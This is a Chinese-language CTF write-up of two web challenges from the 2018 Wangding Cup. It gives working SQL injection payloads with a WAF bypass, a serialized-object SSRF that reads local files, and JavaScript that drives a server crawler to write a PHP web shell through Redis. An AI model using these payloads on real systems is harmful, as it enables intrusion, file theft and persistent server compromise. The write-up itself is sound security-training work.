2018 網鼎杯CTF 第一場
哈哈。傳說中的pwn鼎杯來了,當時也沒做出來什麼,現在好好琢磨琢磨。
Web - facebook
首先還是看看網站有啥功能,大概就是一個可以註冊登入的,寫部落格的地方
現在的題目迷惑性很大,不能被表面現象迷惑,猜不透到底是sql注入,還是什麼。
從最開始的思路下手,robots git 和sql都試一下
git 無
robots得到資訊如下:
發現有原始碼,下載下來讀一下
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
沒有什麼太大的作用,不過記住最下面的正則匹配。
接著瀏覽一下,注意到網址格式如下:
有引數,說不定可以注入,使用sqlmap跑一下,或者手動測試一下,確實存在sql漏洞,但是union select被waf了
這是兩個方法,一個是繞過union select,一個是用別的
爆表名 /view.php?no=-6 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# 爆列名 /view.php?no=-6 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()# 爆欄位 /view.php?no=-6 union/**/select 1,data,3,4 from users#
或者是使用報錯注入
爆表名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)# 爆列名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)# 爆欄位 /view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
得到結果竟然是一個序列化的值
那麼大概的思路清楚了,我們輸入的資訊被儲存為序列化,讀取的時候會從資料庫中取出並反序列化,然後顯示在blog介面。 、
function get($url)獲取的blog連線,如果連線失敗就404,否則讀取檔案資訊。
所以我們可以通過反序列化來實現ssrf讀取任意檔案,構造我們想要的路徑,然後為了繞過正則,不從註冊登入的地方下手,直接人為構造聯合查詢返回語句,因為data欄位在第四個位置,我們也需要這樣:
/view.php?no=1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
即可得到flag的base64編碼
解碼即可,為了弄清楚到底怎麼回事,可以在讀取一下view.php
實際上就是取data後反序列化,然後獲取連結到的內容
spider
可以理解大概的意思是獲取我們提交的網址的內容,a標籤的
<a href="http://www.w3school.com.cn">W3School</a>
老套路看看有沒有原始碼洩露啥的
訪問 robots.txt 發現存在 /get_sourcecode 檔案
訪問提示 NOT 127.0.0.1,那思路大概是有了,需要編網頁讓伺服器幫我們讀,使用js程式碼讓其執行
通過伺服器執行 JS 程式碼來訪問 /get_sourcecode 檔案
不得不說 這個用的還是挺頻繁的 關於js的請求連線什麼的
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
//判斷系統版本,建立requst例項
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
//繫結事件 當狀態變化時呼叫匿名函式 將返回結果寫入到a標籤中
//正好符合本網頁的功能 將標籤的innerHTML取出來就是我們要的結果
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
作者:wuli_decade
連結:https://www.jianshu.com/p/78dd400669db
得到的結果如下,檔案的原始碼:
URL: http://127.0.0.1:80/upload/c97ddbd0-a6a3-11e8-b761-0242ac110184.html
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__ , static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 發現惡意關鍵字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''
@app.errorhandler(404)
def page_not_found(error):
return '404'
@app.errorhandler(500)
def internal_server_error(error):
return '500'
@app.errorhandler(403)
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
在hint所在的函式中,我們可以看出,大意是訪問一個網頁,採用post的方式上傳一個檔案,經過一些檢測,儲存到目錄下,那麼類似於webshell,我們需要上傳寫入一個shell,然後連線就可以了。
使用redis寫入 shell,關於redis的知識已經在上一篇部落格中特意更新了
<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
接著構造 JS 程式碼訪問我們構造的PHP檔案即可獲得flag:
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
參考:
https://www.jianshu.com/c/ca8b1391ba41